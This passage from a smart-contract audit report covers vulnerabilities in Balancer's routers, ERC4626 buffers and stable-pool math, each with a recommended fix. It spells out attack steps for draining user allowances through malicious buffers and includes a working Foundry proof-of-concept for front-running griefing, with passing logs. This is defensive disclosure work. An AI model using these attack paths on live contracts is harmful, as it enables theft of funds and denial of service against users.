- A buffer exists with the following tokens: ERC4626 vault shares (we can call it `waWETH`), and it's corresponding underlying token: `WETH`.
- Let's say there exists a weighted pool with two tokens: `waWETH` and `USDC`.
- Alice wants to swap `waWETH` for `USDC`.
- Alice calls `swapExactIn` with ETH value 100 ETH and specifies `wethIsEth == true`.
- Her expectation is that the ETH will be wrapped into `WETH`, then the buffer will WRAP the `WETH` into `waWETH`, where a swap of `waWETH` for `USDC` will be executed.
- However, due to the `_takeTokenIn(params.sender, stepTokenIn, stepExactAmountIn, false)` line, her call will revert causing DoS.

Note that a huge incentive for buffers is that it's wrapped asset (ERC4626 shares) can be used as a token within pools. Since `WETH` is a very popular token, this scenario is likely to occur.

Integrating protocols and users will suffer from DoS.

Recommendation: If the user has paid with ETH and intends to have it wrapped with WETH, they will have set `wethIsEth` to true. Therefore, instead of hardcoding `false`, just pass in that parameter. This will correctly wrap the ETH to WETH as needed.

- `_computePathAmountsOut`:

```
    if (path.steps[0].isBuffer && EVMCallModeHelpers.isStaticCall() == false) {
        // If first step is a buffer, take the token in advance. We need this to wrap/unwrap.
  -     _takeTokenIn(params.sender, stepTokenIn, stepExactAmountIn, false);
  +     _takeTokenIn(params.sender, stepTokenIn, stepExactAmountIn, params.wethIsEth);
    } else {
```

- `_computePathAmountsIn`: In this case, I believe it is still fine to take `maxAmountIn`, since any ETH that wasn't taken will be refunded during the `_settlePaths` call.

```
    if (step.isBuffer) {
        if (stepLocals.isLastStep && EVMCallModeHelpers.isStaticCall() == false) {
            // The buffer will need this token to wrap/unwrap, so take it from the user in advance.
  -         _takeTokenIn(params.sender, path.tokenIn, path.maxAmountIn, false);
  +         _takeTokenIn(params.sender, path.tokenIn, amountIn, params.wethIsEth);
  +         //_returnEth(params.sender); // No need for this line, since ETH will be refunded during
↪   `_settlePaths`, which is actually just after this function
```

3.2.7 Adding liquidity to a malicious buffer can spend user's entire allowance to vault or router

Submitted by 0xDjango, also found by crypticdefense

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The function `vault.addLiquidityToBuffer()` can be used as a honeypot to spend an entire user granted allowance. If a user interacts with a malicious buffer to add even a minimal amount of liquidity, their entire token allowance can be stolen. Since the wrapped token can potentially be worthless, the buffer will effectively steal valuable underlying and provide the user with valueless wrapped token.

Since `vaultAdmin.addLiquidityToBuffer()` does not have any slippage checks and only takes in an `exactSharesToIssue` param, the pool can be manipulated to pull all of a user's granted allowance regardless of the number of shares they specify. Since `bufferBalances` can easily be manipulated through wrap and unwrap operations, the amount of underlying that is pulled from the user is bound only by their granted allowance.

```
uint256 totalShares = _bufferTotalShares[wrappedToken];
amountUnderlyingRaw = bufferBalances.getBalanceRaw().mulDivUp(exactSharesToIssue, totalShares);
amountWrappedRaw = bufferBalances.getBalanceDerived().mulDivUp(exactSharesToIssue, totalShares);

// Take debt for assets going into the buffer (wrapped and underlying).
_takeDebt(IERC20(underlyingToken), amountUnderlyingRaw);
_takeDebt(wrappedToken, amountWrappedRaw);
```

Example:

- User grants allowance to router for 1,000,000 DAI. User intends to do some swapping, add liquidity to legit pools, etc...
- Buffer currently has issued `100` shares and has a balance of `100 DAI` and `100 wDAI`.
- User decides to mint 10 shares to a malicious DAI/wDAI buffer. This should pull `10 DAI` from the user's wallet.
- The add liquidity call is frontrun, and the buffer balances are shifted to only hold underlying. This is possible via `vault.erc4626BufferWrapOrUnwrap()` to unwrap the vault's wrapped tokens, leaving only underlying. The malicious buffer deployer can also "donate" underlying to the buffer.
- By the time the user's add liquidity call executes, 10 shares will pull all 1,000,000 DAI from the user's wallet.
- The buffer can contain code to revert if a user other than the buffer deployer attempts to remove liquidity.

Recommendation: Add a `maxAmountIn` parameter to ensure the add liquidity operation does not pull more funds than desired.

3.2.8 Adding liquidity to buffer can steal higher-valued token than the underlying of the buffer

Submitted by 0xDjango

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: When adding liquidity to a buffer through the router, a malicious buffer can steal a higher-valued token than the buffer holds as underlying. For example, when a user interacts with a DAI/wDAI buffer, the router can be tricked to pull WETH from the user instead.

- Router.sol#L755-L767:

```
function addLiquidityToBufferHook(
    IERC4626 wrappedToken,
    uint256 exactSharesToIssue,
    address sharesOwner
) external nonReentrant onlyVault returns (uint256 amountUnderlyingRaw, uint256 amountWrappedRaw) {
    (amountUnderlyingRaw, amountWrappedRaw) = _vault.addLiquidityToBuffer(
        wrappedToken,
        exactSharesToIssue,
        sharesOwner
    );
    _takeTokenIn(sharesOwner, IERC20(wrappedToken.asset()), amountUnderlyingRaw, false);
    _takeTokenIn(sharesOwner, IERC20(address(wrappedToken)), amountWrappedRaw, false);
}
```

As seen above, `_takeTokenIn()` calls `wrappedToken.asset()`. The malicious wrappedToken buffer can return any token of a higher value. DAI is worth roughly 1 dollar while WETH is worth 2700 dollars. If the user intends to add 1000 DAI liquidity to the buffer, the router can pull $2,700,000 worth of WETH from the user, depending on their balance and allowance. More specifically:

- The call to `vault.addLiquidity()` checks the underlying asset (DAI) and takes debt in proper underlying asset (DAI). Vault operations complete.
- Router calls back to `wrappedToken.asset()` to get the underlying again, this time it returns WETH. Router pulls WETH from caller and sends to vault.
- The malicious wrapped tokens calls `vault.sendTo(attacker)` on the WETH to steal it.

Note, the attacker would need to supply the proper amount of DAI debt, but will be minimal compared to the WETH that has been stolen.

Recommendation: Either take a user-specified parameter for the underlying to be pulled or return it from the vault and use it in `_takeTokenIn()`.

3.2.9 `CompositeLiquidityRouter` does not handle case where buffer does not have sufficient wrapped/unwrapped amount

Submitted by crypticdefense, also found by dash

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: `CompositeLiquidityRouter` acts as the the entrypoint for add/remove liquidity operations on ERC4626 and nested pools. A nested pool is a pool that has at least one BPT token, which is essentially the LP token of another pool.

`CompositeLiquidityRouter::addLiquidityUnbalancedNestedPoolHook` allows users to faciliate add liquidity operation to these pools. It does this by specifying a "*parent pool*" and "*child pool*".

Let's say a pool has two tokens: DAI and BPT (Balance Pool Token ⇒ LP tokens of another pool). Now, this BPT token will be the same address as another pool. Let's say this pool has two tokens: WETH and USDC.

Therefore the parent pool in this case is the pool with DAI and BPT, and the child pool is the pool with WETH and USDC. Users can call `addLiquidityUnbalancedNestedPoolHook` to add liquidity to the parent pool by doing the following:

1. Specify amount of DAI, WETH, USDC to deposit.
2. WETH and USDC will be deposited to the child pool, BPT (LP token) for that pool will be minted.
3. The BPT that was just minted and the DAI will be used to add liquidity to the parent pool.
4. User successfully receives BPT for the parent pool.

One of the tokens within these pools can also be wrapped ERC4626 token. The Balancer vault consists of ERC4626 Liquidity Buffers, which has two tokens: vault shares (wrapped token) and the vault asset (unwrapped token).

So if a pool has wrapped ERC4626 token (i.e, waDAI), users can deposit the underlying (i.e, DAI) which will be wrapped and added to the pool.

When wrapping/unwrapping buffer tokens, it is possible that the buffer does not have enough wrapped/unwrapped tokens to handle the wrapping/unwrapping. The Balancer vault handles this case by directly executing an external call to the ERC4626 vault to WRAP/UNWRAP. To ensure a successful execution to the ERC4626 vault, the tokens the caller intends to WRAP or UNWRAP *must be sent to the Balancer vault first*. This way, it will have enough tokens to wrap/unwrap to the ERC4626 vault. This is handled all throughout the routers used in the Balancer protocol.

- Example 1 where it's handled:
  - BatchRouter.sol#L165-L202:

```
    if (path.steps[0].isBuffer && EVMCallModeHelpers.isStaticCall() == false) {
        // If first step is a buffer, take the token in advance. We need this to wrap/unwrap.
        _takeTokenIn(params.sender, stepTokenIn, stepExactAmountIn, false);
    }
    // ...

        if (step.isBuffer) {
            (, , uint256 amountOut) = _vault.erc4626BufferWrapOrUnwrap(
                BufferWrapOrUnwrapParams({
                    kind: SwapKind.EXACT_IN,
                    direction: step.pool == address(stepTokenIn)
                        ? WrappingDirection.UNWRAP
                        : WrappingDirection.WRAP,
                    wrappedToken: IERC4626(step.pool),
                    amountGivenRaw: stepExactAmountIn,
                    limitRaw: minAmountOut
                })
            );
```

- Example 2 where it's handled:
  - CompositeLiquidityRouter.sol#L310-L372:

```
    function _wrapTokens(
        AddLiquidityHookParams calldata params,
        IERC20[] memory erc4626PoolTokens,
        uint256[] memory amountsIn,
        SwapKind kind,
        uint256[] memory limits
    ) private returns (uint256[] memory underlyingAmounts, uint256[] memory wrappedAmounts) {

    // ...

            if (isStaticCall == false) { //@audit take underlying token before wrapping
↪   (_takeTokenIn operation sends it to the Balancer vault)
                if (kind == SwapKind.EXACT_IN) {
                    // If the SwapKind is EXACT_IN, take the exact amount in from the sender.
                    _takeTokenIn(params.sender, underlyingToken, amountsIn[i], params.wethIsEth);
                } else {
                    // If the SwapKind is EXACT_OUT, the exact amount in is not known, because
↪   amountsIn is the
                    // amount of wrapped tokens. Therefore, take the limit. After the wrap
↪   operation, the difference
                    // between the limit and the actual underlying amount is returned to the sender.
                    _takeTokenIn(params.sender, underlyingToken, limits[i], params.wethIsEth);
                }
            }

            // `erc4626BufferWrapOrUnwrap` will fail if the wrappedToken isn't ERC4626-conforming.
            (, underlyingAmounts[i], wrappedAmounts[i]) = _vault.erc4626BufferWrapOrUnwrap(
                BufferWrapOrUnwrapParams({
                    kind: kind,
                    direction: WrappingDirection.WRAP,
                    wrappedToken: wrappedToken,
                    amountGivenRaw: amountsIn[i],
                    limitRaw: limits[i]
                })
            );

            // ...
    }
```

However, this case is not handled in `CompositeLiquidityRouter` during the `addLiquidityUnbalancedNest-`

edPoolHook, causing DoS.

Proof of Concept:

- CompositeLiquidityRouter.sol#L379-L405:

```
function addLiquidityUnbalancedNestedPool(
    address parentPool,
    address[] memory tokensIn, // <<<
    uint256[] memory exactAmountsIn, // <<<
    uint256 minBptAmountOut, // <<<
    bytes memory userData
) external saveSender returns (uint256) {
    return
        abi.decode(
            _vault.unlock(
                abi.encodeWithSelector(
                    CompositeLiquidityRouter.addLiquidityUnbalancedNestedPoolHook.selector,
                    AddLiquidityHookParams({
                        pool: parentPool,
                        sender: msg.sender,
                        maxAmountsIn: exactAmountsIn,
                        minBptAmountOut: minBptAmountOut,
                        kind: AddLiquidityKind.UNBALANCED,
                        wethIsEth: false,
                        userData: userData
                    }),
                    tokensIn
                )
            ),
            (uint256)
        );
}
```

Users specify the tokens to put in, exact amount of each token to put in, and the minimum bpt to receive. For context, an unbalanced add liquidity kind is when users add liquidity to a pool with exact amounts of any pool token, avoiding unnecessary dust in the user's wallet.

This will unlock the vault which will callback `CompositeLiquidityRouter.addLiquidityUnbalancedNestedPoolHook`:

- CompositeLiquidityRouter.sol#L435-L518:

```
function addLiquidityUnbalancedNestedPoolHook(
    AddLiquidityHookParams calldata params,
    address[] memory tokensIn
) external nonReentrant onlyVault returns (uint256 exactBptAmountOut) {
    // Revert if tokensIn length does not match with maxAmountsIn length.
    InputHelpers.ensureInputLengthMatch(params.maxAmountsIn.length, tokensIn.length);

    bool isStaticCall = EVMCallModeHelpers.isStaticCall();

    // Loads a Set with all amounts to be inserted in the nested pools, so we don't need to iterate in
↪  the tokens
    // array to find the child pool amounts to insert.
    for (uint256 i = 0; i < tokensIn.length; ++i) { //@audit each token to add specified by the user is
↪  added to `_currentSwapTokenInAmounts` transient storage, paid at the end of this call
        _currentSwapTokenInAmounts().tSet(tokensIn[i], params.maxAmountsIn[i]);
    }

    IERC20[] memory parentPoolTokens = _vault.getPoolTokens(params.pool); //@audit returns pool tokens
↪  within parent pool

    // Iterate over each token of the parent pool. If it's a BPT, add liquidity unbalanced to it.
    for (uint256 i = 0; i < parentPoolTokens.length; i++) { //@audit loop through parent pool
        address childToken = address(parentPoolTokens[i]); //@audit get token address of parent pool

        if (_vault.isPoolRegistered(childToken)) { //@audit if the token is a BPT token (child pool),
↪  add liquidity to that pool, which will give BPT, used to add liquidity to the parent pool
            // Token is a BPT, so add liquidity to the child pool.

            IERC20[] memory childPoolTokens = _vault.getPoolTokens(childToken);
            uint256[] memory childPoolAmountsIn = _getPoolAmountsIn(childPoolTokens);

            // Add Liquidity will mint childTokens to the Vault, so the insertion of liquidity in the
↪  parent pool
            // will be a logic insertion, not a token transfer.
```

```
            (, uint256 exactChildBptAmountOut, ) = _vault.addLiquidity(
                AddLiquidityParams({
                    pool: childToken,
                    to: address(_vault),
                    maxAmountsIn: childPoolAmountsIn,
                    minBptAmountOut: 0,
                    kind: params.kind,
                    userData: params.userData
                })
            );

            // Sets the amount in of child BPT to the exactBptAmountOut of the child pool, so all the
↪   minted BPT
            // will be added to the parent pool.
            _currentSwapTokenInAmounts().tSet(childToken, exactChildBptAmountOut);

            // Since the BPT will be inserted into the parent pool, gets the credit from the inserted
↪   BPTs in
            // advance.
            _vault.settle(IERC20(childToken), exactChildBptAmountOut);
        } else if (
            _vault.isERC4626BufferInitialized(IERC4626(childToken)) && //@audit if pool contains
↪   wrapped token but user is paying with unwrapped
            _currentSwapTokenInAmounts().tGet(childToken) == 0 // wrapped amount in was not specified
        ) {
            // The ERC4626 token has a buffer initialized within the Vault. Additionally, since the
↪   sender did not
            // specify an input amount for the wrapped token, the function will wrap the underlying
↪   asset and use
            // the resulting wrapped tokens to add liquidity to the pool.
            _wrapAndUpdateTokenInAmounts(IERC4626(childToken)); // <<<
        }
    }

    uint256[] memory parentPoolAmountsIn = _getPoolAmountsIn(parentPoolTokens);

    // Adds liquidity to the parent pool, mints parentPool's BPT to the sender and checks the minimum
↪   BPT out.
    (, exactBptAmountOut, ) = _vault.addLiquidity(
        AddLiquidityParams({
            pool: params.pool,
            to: isStaticCall ? address(this) : params.sender,
            maxAmountsIn: parentPoolAmountsIn,
            minBptAmountOut: params.minBptAmountOut,
            kind: params.kind,
            userData: params.userData
        })
    );

    // Since all values from _currentSwapTokenInAmounts are erased, recreates the set of amounts in so
    // `_settlePaths()` can charge the sender.
    for (uint256 i = 0; i < tokensIn.length; ++i) {
        _currentSwapTokensIn().add(tokensIn[i]);
        _currentSwapTokenInAmounts().tSet(tokensIn[i], params.maxAmountsIn[i]);
    }

    // Settle the amounts in.
    if (isStaticCall == false) {
        _settlePaths(params.sender, false); //@audit all tokens owed are paid here
    }
}
```

If the pool contains wrapped tokens, but user is paying with unwrapped, then the token must be wrapped and sent to the vault.

- CompositeLiquidityRouter.sol#L553-L578

```
function _wrapAndUpdateTokenInAmounts(IERC4626 wrappedToken) private returns (uint256 wrappedAmountOut)
↪ {
    address underlyingToken = wrappedToken.asset();

    // Get the amountIn of underlying tokens informed by the sender.
    uint256 underlyingAmountIn = _currentSwapTokenInAmounts().tGet(underlyingToken);
    if (underlyingAmountIn == 0) {
        return 0;
    }

    (, , wrappedAmountOut) = _vault.erc4626BufferWrapOrUnwrap( // <<<
        BufferWrapOrUnwrapParams({
            kind: SwapKind.EXACT_IN,
            direction: WrappingDirection.WRAP,
            wrappedToken: wrappedToken,
            amountGivenRaw: underlyingAmountIn,
            limitRaw: uint256(0)
        })
    );

    // Remove the underlying amount from `_currentSwapTokenInAmounts` and add the wrapped amount.
    _currentSwapTokenInAmounts().tSet(underlyingToken, 0);
    _currentSwapTokenInAmounts().tSet(address(wrappedToken), wrappedAmountOut);

    // Updates the reserves of the vault with the wrappedToken amount.
    _vault.settle(IERC20(address(wrappedToken)), wrappedAmountOut);
}
```

We can see that the unwrapped amount is not sent to the Balancer vault first, and a direct `erc4626BufferWrapOrUnwrap` call is made to the vault. If the buffer does not have enough liquidity to wrap/unwrap, then an external call to ERC4626 vault is made:

- Vault.sol#L1211:

```
vaultWrappedDeltaHint = wrappedToken.deposit(vaultUnderlyingDeltaHint, address(this));
```

The only caveat is that the tokens to wrap must be sent to the Balancer vault first, otherwise it will not have sufficient funds to wrap during the external ERC4626 call. As mentioned, this is handled throughout all router functions except this one. This will cause the call to DoS and revert.

Recommendation: Send the underlying amount to the Balancer vault first, then wrap it. Modify each instance of `_wrapAndUpdateTokenInAmounts` to pass in the sender.

```
- function _wrapAndUpdateTokenInAmounts(IERC4626 wrappedToken) private returns (uint256 wrappedAmountOut) {
+ function _wrapAndUpdateTokenInAmounts(IERC4626 wrappedToken, address sender) private returns (uint256
↪  wrappedAmountOut) {
      address underlyingToken = wrappedToken.asset();

      // Get the amountIn of underlying tokens informed by the sender.
      uint256 underlyingAmountIn = _currentSwapTokenInAmounts().tGet(underlyingToken);
      if (underlyingAmountIn == 0) {
          return 0;
      }
+     _takeTokenIn(sender, underlyingToken, underlyingAmountIn, false);
      (, , wrappedAmountOut) = _vault.erc4626BufferWrapOrUnwrap(
          BufferWrapOrUnwrapParams({
              kind: SwapKind.EXACT_IN,
              direction: WrappingDirection.WRAP,
              wrappedToken: wrappedToken,
              amountGivenRaw: underlyingAmountIn,
              limitRaw: uint256(0)
          })
      );

      // Remove the underlying amount from `_currentSwapTokenInAmounts` and add the wrapped amount.
      _currentSwapTokenInAmounts().tSet(underlyingToken, 0);
      _currentSwapTokenInAmounts().tSet(address(wrappedToken), wrappedAmountOut);

      // Updates the reserves of the vault with the wrappedToken amount.
      _vault.settle(IERC20(address(wrappedToken)), wrappedAmountOut);
  }
```

In addition, modifications must be made to ensure `addLiquidityUnbalancedNestedPoolHook` does not add

the underlying owed to the `_currentSwapTokenInAmounts` again.

3.2.10 `AddLiquidityToBuffer()` can be DoSed via front running attack

Submitted by wellbyt3

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: An attacker can prevent a victim from adding liquidity to a buffer by front-running the victim's `addLiquidityToBuffer()` transaction. By performing a calculated swap that alters the buffer's ratio of underlying to wrapped tokens, the attacker forces the victim to require 1 additional token (either underlying or wrapped) beyond what they hold, causing the transaction to fail due to insufficient balance.

The buffer system requires liquidity providers to add liquidity in proportion to the buffer's ratio of underlying to wrapped tokens. When `VaultAdmin::addLiquidityToBuffer()` is called, LPs specify `exactSharesToIssue` and then `VaultAdmin` calculates the required amounts of underlying and wrapped tokens needed to issue those shares.

- VaultAdmin.sol#L495-L522:

```
function addLiquidityToBuffer(
    IERC4626 wrappedToken,
    uint256 exactSharesToIssue,
    address sharesOwner
)
    public
    onlyVaultDelegateCall
    onlyWhenUnlocked
    whenVaultBuffersAreNotPaused
    withInitializedBuffer(wrappedToken)
    nonReentrant
    returns (uint256 amountUnderlyingRaw, uint256 amountWrappedRaw)
{
    // ...
    amountUnderlyingRaw = bufferBalances.getBalanceRaw().mulDivUp(exactSharesToIssue, totalShares);
    amountWrappedRaw = bufferBalances.getBalanceDerived().mulDivUp(exactSharesToIssue, totalShares);
    // ...
```

This exposes LPs to a front-running attack that can block them from adding liquidity. Attack steps:

1. The victim calls `addLiquidityToBuffer()` with the intent on issuing `S` shares.
2. An attacker front-runs this transaction, reading the exactSharesToIssue (`S`) and the victim's balances for underlying (`X`) and wrapped (`Y`) tokens.
3. Using this information, the attacker performs a swap to alter the buffer ratio, requiring the victim to hold `X + 1` or `Y + 1` tokens to issue their specified shares.
4. As a result, the victim's transaction reverts with a TRANSFER_FROM_FAILED error due to insufficient tokens.

The furthest an attacker can push the proportions in the buffer is either:

- 0 underlying token and `n` wrapped token OR...
- `n` underlying token and 0 wrapped token.

If the victim can still add liquidity in both those situations, an attacker has two options:

- Opt out of the attack and only target users under certain balances.
- Add liquidity to the buffer in addition to performing the swap, which would increase the token balances the victim would need to hold.

Impact: Blocks LPs from adding liquidity to any buffer disrupting a major component of the protocol.

Likelihood: The attack can be performed for just the price of gas and is much more likely to occur on users who hold less value in underlying / wrapped token.

Factors that influence the likelihood of the attack are mainly:

- The buffers current ratio between underlying and wrapped token.
- The LPs token balances of underlying / wrapped.
- The liquidity of the buffer.
- The amount of shares the LP is issuing.

Proof of Concept: In the proof of concept below, I show how an attacker would perform this attack optimally.

Add to `BufferVaultPrimitive.t.sol` and run `forge test --mt test_griefingAddLiquidityAttack -vv`:

```
address victim = makeAddr("victim");
address griefer = makeAddr("griefer");
address swapTokenIn;
address swapTokenOut;
uint256 victimBalance;
uint256 swapAmountIn;

function test_griefingAddLiquidityAttack() public {

    //1. Setup
    deal(address(waUSDC), victim, 10e18);
    deal(address(usdc), victim, 10e18);
    deal(address(waUSDC), griefer, 1000e18);
    deal(address(usdc), griefer, 1000e18);

    IERC20 wrappedTokenUSDC = IERC20(address(waUSDC));
    IERC20 underlyingTokenUSDC = IERC20(IERC4626(address(wrappedTokenUSDC)).asset());

    //2. Initialize waUSDC/USDC buffer
    vm.prank(lp);
    router.initializeBuffer(
        IERC4626(address(waUSDC)),
        1000e18,
        800e18
    );

    //3. Griefer frontruns victim's addLiquidityToBuffer() transaction, and identifies:
        // the victim's exactSharesToIssue
        // the victim's wallets balances of both underlying and wrapped asset
    uint256 victimExactSharesToIssue = 50e18;
    uint256 victimBalanceUnderlying = IERC20(address(usdc)).balanceOf(victim);
    uint256 victimBalanceWrapped = IERC4626(address(waUSDC)).balanceOf(victim);

    console.log("Victim balance underlying:", victimBalanceUnderlying);
    console.log("Victim balance wrapped:", victimBalanceWrapped);
    console.log(" ");

    //4. Griefer performs attack:
    // Gets the victim's token with the lowest total value (in underlying) to minimize the amount required to
    // imbalance the buffer causing the DoS.
    uint256 wrappedAmountAsUnderlying = IERC4626(address(wrappedTokenUSDC)).previewRedeem(victimBalanceWrapped
);

    if (wrappedAmountAsUnderlying < victimBalanceUnderlying) {
        swapTokenIn = address(wrappedTokenUSDC);
        swapTokenOut = address(underlyingTokenUSDC);
    } else {
        swapTokenIn = address(underlyingTokenUSDC);
        swapTokenOut = address(wrappedTokenUSDC);
    }

    if (swapTokenIn == address(wrappedTokenUSDC)) {
        victimBalance = victimBalanceWrapped;
    } else {
        victimBalance = victimBalanceUnderlying;
    }

    // Calculate how much we need to swap to imbalance the buffer to cause the DoS:
    (uint256 bufferUnderlyingUsdc, uint256 bufferWrappedUsdc) =
↪   vault.getBufferBalance(IERC4626(address(waUSDC)));
    uint256 bufferTotalShares = vault.getBufferTotalShares(IERC4626(address(waUSDC)));
    uint256 newBufferSize =  (bufferTotalShares * (victimBalance + 1)) / victimExactSharesToIssue;

    if (swapTokenIn == address(wrappedTokenUSDC)) {
```

```
        swapAmountIn = newBufferSize - bufferWrappedUsdc;
    } else {
        swapAmountIn = newBufferSize - bufferUnderlyingUsdc;
    }

    // Perform the swap
    IBatchRouter.SwapPathStep[] memory steps = new IBatchRouter.SwapPathStep[](1);
    IBatchRouter.SwapPathExactAmountIn[] memory paths = new IBatchRouter.SwapPathExactAmountIn[](1);

    steps[0] = IBatchRouter.SwapPathStep({
        pool: address(wrappedTokenUSDC),
        tokenOut: IERC20(swapTokenOut),
        isBuffer: true
    });

    paths[0] = IBatchRouter.SwapPathExactAmountIn({
        tokenIn: IERC20(swapTokenIn),
        steps: steps,
        exactAmountIn: swapAmountIn,
        minAmountOut: 0
    });

    console.log("Victim required balance of underlying BEFORE attack:
↪ ",bufferUnderlyingUsdc.mulDivUp(victimExactSharesToIssue, bufferTotalShares));
    console.log("Victim require balance of wrapped BEFORE attack:
↪ ",bufferWrappedUsdc.mulDivUp(victimExactSharesToIssue, bufferTotalShares));
    console.log(" ");

    vm.startPrank(griefer);
    approveForSender();
    (uint256[] memory pathAmountsOut, , ) = batchRouter.swapExactIn(paths, MAX_UINT256, false, bytes(""));
    vm.stopPrank();

    (bufferUnderlyingUsdc, bufferWrappedUsdc) = vault.getBufferBalance(IERC4626(address(waUSDC)));
    console.log("Victim required balance of underlying AFTER attack:
↪ ",bufferUnderlyingUsdc.mulDivUp(victimExactSharesToIssue, bufferTotalShares));
    console.log("Victim require balance of wrapped AFTER attack:
↪ ",bufferWrappedUsdc.mulDivUp(victimExactSharesToIssue, bufferTotalShares));

    // 5. In the specific example provided in this POC, the victim won't have enough underlying, but
    // the attack can occur on wrapped as well.
    assertGe(bufferUnderlyingUsdc.mulDivUp(victimExactSharesToIssue, bufferTotalShares),
↪ victimBalanceUnderlying);

    // 6. Victim tries to add liquidity to the buffer, but can't because the griefer manipulated the buffer
    // ratio where the victim doesn't have enough underlying to obtain the shares they want.
    vm.startPrank(victim);
    approveForSender();
    vm.expectRevert();
    router.addLiquidityToBuffer(IERC4626(address(waUSDC)), victimExactSharesToIssue);
    vm.stopPrank();
}
```

Logs:

```
[PASS] test_griefingAddLiquidityAttack() (gas: 2382644)
Logs:
  Victim balance underlying: 10000000000000000000
  Victim balance wrapped: 10000000000000000000

  Victim required balance of underlying BEFORE attack:  9124087591240875913
  Victim require balance of wrapped BEFORE attack:  7299270072992700730

  Victim required balance of underlying AFTER attack:  10000000000000000001
  Victim require balance of wrapped AFTER attack:  7142857142857142857

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 19.95ms (2.62ms CPU time)
```

Recommendation: Allow LPs to specify how much of underlying and wrapped token they want to add to the buffer.

3.2.11 Possible slippage when unwrapping ERC4626 wrapper in `CompositeLiquidityRouter.removeLiquidityProportionalNestedPoolHook()`

Submitted by AuditorPraise

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The issue here lies in `CompositeLiquidityRouter._unwrapAndUpdateTokenOutAmounts()` where 0 is used as `limitRaw` when calling `_vault.erc4626BufferWrapOrUnwrap()`.

```
function _unwrapAndUpdateTokenOutAmounts(IERC4626 wrappedToken, uint256 wrappedAmountIn) private {
    if (wrappedAmountIn == 0) {
        return;
    }

    (, , uint256 underlyingAmountOut) = _vault.erc4626BufferWrapOrUnwrap(
        BufferWrapOrUnwrapParams({
            kind: SwapKind.EXACT_IN,
            direction: WrappingDirection.UNWRAP,
            wrappedToken: wrappedToken,
            amountGivenRaw: wrappedAmountIn,
            limitRaw: uint256(0)//@audit-issue allows possible slippage
        })
    );
```

Checking `vault.erc4626BufferWrapOrUnwrap()`, whenever type of swap being done is `EXACT_IN` limitRaw acts as a form of protection to prevent slippage:

```
if (params.kind == SwapKind.EXACT_IN) {
    if (amountOutRaw < params.limitRaw) {
        revert SwapLimit(amountOutRaw, params.limitRaw);
    }
    amountCalculatedRaw = amountOutRaw;
```

Now since 0 is used as limitRaw in `CompositeLiquidityRouter._unwrapAndUpdateTokenOutAmounts()`, the unwrapping process is vulnerable to slippage.

Proof of Concept:

- USER A calls `removeLiquidityProportionalNestedPool()` on `CompositeLiquidityRouter.sol`.
- Before USER A's transaction executes, A large volume swap executes (*race condition*) and skews the vault in a way sufficient to cause slippage in USER A's transaction.
- USER A's transaction executes successfully BUT what he receives is smaller due to slippage.

Recommendation: Allow users to specify limit to use. Do not hardcode it to zero.

3.2.12 Stable pool invariant may enter bricked state

Submitted by cergyk

Severity: Low Risk

Context: StableMath.sol#L121

Description: Stable pool invariant is computed using an iterative approximation method (Newton-Raphson). In some cases, this method will not converge and the computation simply reverts:

```
function computeInvariant(
    uint256 amplificationParameter,
    uint256[] memory balances
) internal pure returns (uint256) {
    /**********************************************************************************************
    // invariant                                                                                 //
    // D = invariant                                                  D^(n+1)                    //
    // A = amplification coefficient      A  n^n S + D = A D n^n +  -----------                   //
    // S = sum of balances                                          n^n P                        //
    // P = product of balances                                                                   //
    // n = number of tokens                                                                      //
    **********************************************************************************************/
```

```
    uint256 sum = 0; // S in the Curve version
    uint256 numTokens = balances.length;
    for (uint256 i = 0; i < numTokens; ++i) {
        sum = sum + balances[i];
    }
    if (sum == 0) {
        return 0;
    }

    uint256 prevInvariant; // Dprev in the Curve version
    uint256 invariant = sum; // D in the Curve version
    uint256 ampTimesTotal = amplificationParameter * numTokens; // Ann in the Curve version

    //@audit 255 iterations of the algorithm to attempt convergence
    for (uint256 i = 0; i < 255; ++i) {
        uint256 D_P = invariant;
        for (uint256 j = 0; j < numTokens; ++j) {
            D_P = (D_P * invariant) / (balances[j] * numTokens);
        }

        prevInvariant = invariant;

        invariant =
            ((((ampTimesTotal * sum) / AMP_PRECISION) + (D_P * numTokens)) * invariant) /
            ((((ampTimesTotal - AMP_PRECISION) * invariant) / AMP_PRECISION) + ((numTokens + 1) * D_P));

        unchecked {
            // We are explicitly checking the magnitudes here, so can use unchecked math.
            if (invariant > prevInvariant) {
                if (invariant - prevInvariant <= 1) {
                    return invariant;
                }
            } else if (prevInvariant - invariant <= 1) {
                return invariant;
            }
        }
    }

    revert StableInvariantDidNotConverge(); // <<<
}
```

For most balances/invariant modifying operations, the invariant is computed for current balances and for target balances, making it impossible to set new balances such as the invariant cannot compute. However this is not true for the following operations:

1. Add liquidity:
    - SINGLE_TOKEN_EXACT_OUT.
    - PROPORTIONAL.
2. When amplification parameter is updated:
    - Example:
        - Point where invariant does not converge:
            * numTokens = 3

            ```
                uint256 amp = 500;
                uint256 balance1 = 159541223557244442859;
                uint256 balance2 = 100000000000000000;
                uint256 balance3 = 100000000000000001;
            ```

        - Starting points on which invariant converges:

          We can see that the invariant does converge for the following points:

          1. Add liquidity proportional: With all the balances divided by 2, the invariant converges. This means that through an add liquidity proportional operation, the invariant computation may enter non-convergent state.

```
uint256 amp = 500;
uint256 balance1 = 159541223557244442859/2;
uint256 balance2 = 100000000000000000/2;
uint256 balance3 = 100000000000000001/2;
```

2. Add liquidity `SINGLE_TOKEN_EXACT_OUT`: With all balances equal the invariant converges, which means that adding liquidity with one token only (add of `159441223557244442859` in this case), invariant enters non-convergent state.

```
uint256 amp = 500;
uint256 balance1 = 100000000000000000;
uint256 balance2 = 100000000000000000;
uint256 balance3 = 100000000000000001;
```

3. Amplification coefficient modified: Algorithm also converges for these values, meaning non-convergent state can be reached through amplification coefficient update.

```
uint256 amp = 1000;
uint256 balance1 = 159541223557244442859;
uint256 balance2 = 100000000000000000;
uint256 balance3 = 100000000000000001;
```

Impact: If the pool enters this state, all operations except addLiquidity/removeLiquidity `PROPORTIONAL` will revert because they compute the invariant on current balances. This may lead to a prolonged DOS of the funds of the pool.

> Please note that even though `PROPORTIONAL` operations have minimal logic and are designed to always succeed, they still may fail due to `_ensureValidTradeAmount` checks on every token amount, which may leave the pool bricked permanently if combined with the invariant non-convergence.

